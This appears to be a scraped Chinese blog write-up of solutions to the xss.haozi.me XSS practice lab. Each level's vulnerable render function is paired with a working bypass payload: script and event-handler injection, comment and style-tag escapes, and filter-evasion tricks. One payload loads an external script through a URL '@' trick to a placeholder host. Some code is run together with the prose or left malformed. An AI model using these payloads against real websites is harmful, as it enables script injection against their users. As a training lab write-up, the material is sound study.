xss.haozi.me靶机XSS练习心得
xss.haozi.me靶机XSS练习心得
//server code
function render (input) {
return '<div>' + input + '</div>'
}
第一题测试js的语法,js都是利用<script>标签的,poc:
<script>alert(1)</script>function render (input) {
return '<textarea>' + input + '</textarea>'
}
第二题测试的是textarea标签,这个标签内,所有的脚本语言都是字符串,无法被调用执行,所以使用他的闭合标签进行闭合,然后再闭合后输入js代码:
</textarea><script>alert(1)</script>function render (input) {
return '<input type="name" value="' + input + '">'
}
考察es6语法中
符号进行字符串拼接,以及html标签事件属性 poc" onmouseover="alert`1``function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
考察正则语法,替换了会把圆括号替换为空
<input><img src="https://www.baidu.com/" onerror=alert(1)></input>
<body onpageshow=alert(1)>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则替换规则多了一个`,考虑使用实体符号进行绕过,也可以考虑svg标签,body标签
<input><img src="https://www.baidu.com/" onerror=alert(1);></input>function render (input) {
input = input.replace(/-->/g, '')
return '<!-- ' + input + ' -->'
}
正则替换了
-->,这个是html的注释符,注释符有2中写法,分别是一种是
<!-- 注释的内容 -->另一种是<!-- 注释的内容 --!>所以我们用第二种注释去提前闭合poc:
--!><script>alert(1)</script>function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
此处正则替换的是auto,on.*=和>字符,忽略大小写 auto替换无法使用auto开头的事件属性,on开头的事件属性也无法使用
另外利用html语言只要关键字和语法正确,不受空格和换行符影响的特性
poc:
type="image" src="xxx" onerror
=alert(1)
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
此处正则替换的是<开头 以>结尾的中间是非">"得多个字符串
这里还是利用html语言特性最后一行的标签的闭合标签可以不写">"
poc:
<article><img src=1 onerror="alert(1)"</article>function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
这题中的html中已经有了一个<style>标签,根据第7题的规则,我们可以用
</style\r\n>进行闭合绕过poc:
</style
><script>alert(1)</script>
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
正则中字符串中必须要有
https?://www.segmentfault.com/意味着payload必须要写在后头,所以用/script>进行闭合poc:
https://www.segmentfault.com/script> <img src="xxx" onerror="alert(1)"因为语法正确,回车 空格都可以,所以poc里也可以任意添加空格和回车
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这题正则中会替换& ` " < > /为实体符号,意味着我们写入实体符号,其中的&字符就会被替换,导致无法正常解析,并且和上一题一样必须开头字符串必须是
https?://www.segmentfault.com/先介绍一个url语法中@字符作用,可以用来隔断域名,前后2个域名会忽略前面那个.注意一个细节2个域名的协议必须是一致的,必须都是http或者https
我们可以自己部署一个域名带上js, js中写上弹窗进行访问即可
poc:
https?://www.segmentfault.com/@www.xxx.com/test.js
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
题中进行了转换成大写操作,html中标签和属性名不区分大小写,但是path部分区分大小写,比如
<IMG SRC="1" ONERROR=alert(2)>等号后面的就是path内容
这题可以尝试第10题用script标签的src添加外部js链接
也可以用poc:
<img src="x" onerror=alert(1)>这个poc原理是js进行解析前会先对unicode进行解码,html中的Unicode格式为 &#编码的十进制数值，一般的格式还有直接\u开头的16进制四位编码，一定是四位
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
和12题相比多了个script的过滤,我们可以双写+unicode编码绕过
poc:
<scscriptript src="33" onerror = alert(1)></scscriptript>
xss.haozi.me靶机XSS练习心得的更多相关文章
- xss.haozi靶机
X00 <script>alert(1)</script> X01 </textarea><script>alert(1)</script> ...
- 小白日记49：kali渗透测试之Web渗透-XSS（三）-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- [80Sec]深掘XSS漏洞场景之XSS Rootkit
顶80SEC的牛. 深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011 ...
- Java Web使用过滤器防止Xss攻击，解决Xss漏洞
转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687 版权声明:本文为博主原创文章,转载请注明出处!有时候 ...
- xss构造--如何使用xss语句
XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...
- 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击
就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...
- XSS第二节，XSS左邻右舍
昨天的文章中引用了OWASP2013年的江湖排名,今天来看一下TOP中XSS的左邻右舍都是谁,先看一下他们的大名,再进一步介绍 [以下主要翻译自https://www.owasp.org/index. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- WEB安全：XSS漏洞与SQL注入漏洞介绍及解决方案（转）
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全：XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- 2022-05-31内部群每日三题-清辉PMP
1.由于项目执行期间的范围变更,项目经理确定供应商必须对一个已在使用的产品模块进行更改.项目经理首先做什么? A.准备一份变更请求,以更新供应商的合同条款 B.检查采购管理计划和合同条款 C.将该信息 ...
- CSS控制背景图片100%自适应填充布局
原文地址:http://blog.csdn.net/wd4java/article/details/50537562 .personal_head { width: 100%; height: 35% ...
- PHP压缩二进制流转CSV文件
接口返回的数据是二进制流,需先BASE64解码,再进行解压缩,压缩的文件格式为ZIP,需使用Inflater进行解压,即可得到文件. java demo: 转成PHP代码: 贴上 原始二进制流数据,需 ...
- Mybaties中的报错 Tag name expected解决
有些时候一些小小的报错可能会没有注意到,等到报错的时候才发现,一个小小的细节也是很重要的,毕竟我们是bug生产员 来看报错的代码 when round((UNIX_TIMESTAMP(DATE_ADD ...
- Office2021专业增强版激活
1.以管理员权限运行win+R输入CMD,进入命令行界面,输入以下命令 32位系统输入:cd /d %ProgramFiles(x86)%\Microsoft Office\Office16 64位系 ...
- reduced form（简化式）和structural form（结构式）
在复习软件构造的时候,我发现了这样一道练习题 例题要求我们对照给出的RI和AF画出相应的映射图.在这里产生了一个疑问,什么是reduced form?是分子小于分母的意思吗? 但是根据给出的答案,并不 ...
- java中Atomic变量的实现原理是怎样的？
转载自: Java3y https://www.zhihu.com/question/39130725/answer/1006948362 一.基础铺垫 首先我们来个例子: public class ...
- sxt_(011_014)_显示添加书籍
一.数据库设计 create table book( bookid int auto_increment primary key, bookname varchar(16), bookprice do ...
- sxt_(001_002)_web简介
一.web 网络.网页二.web应用 运行在网络上的应用程序.三.网络应用的分类 3.1 c/s:client/server 如:qq.yy.lol 优点: 个性化更容易实现 更安全 占用网络资源少. ...
- 三、核心实战-服务Service-Ingress
Service 将一组Pods公开为网络服务的抽象方法. 暴露deployment只能在集群内访问是ClusterIP,可以集群外访问是NodePort,默认端口分配是30000-32767之间 ku ...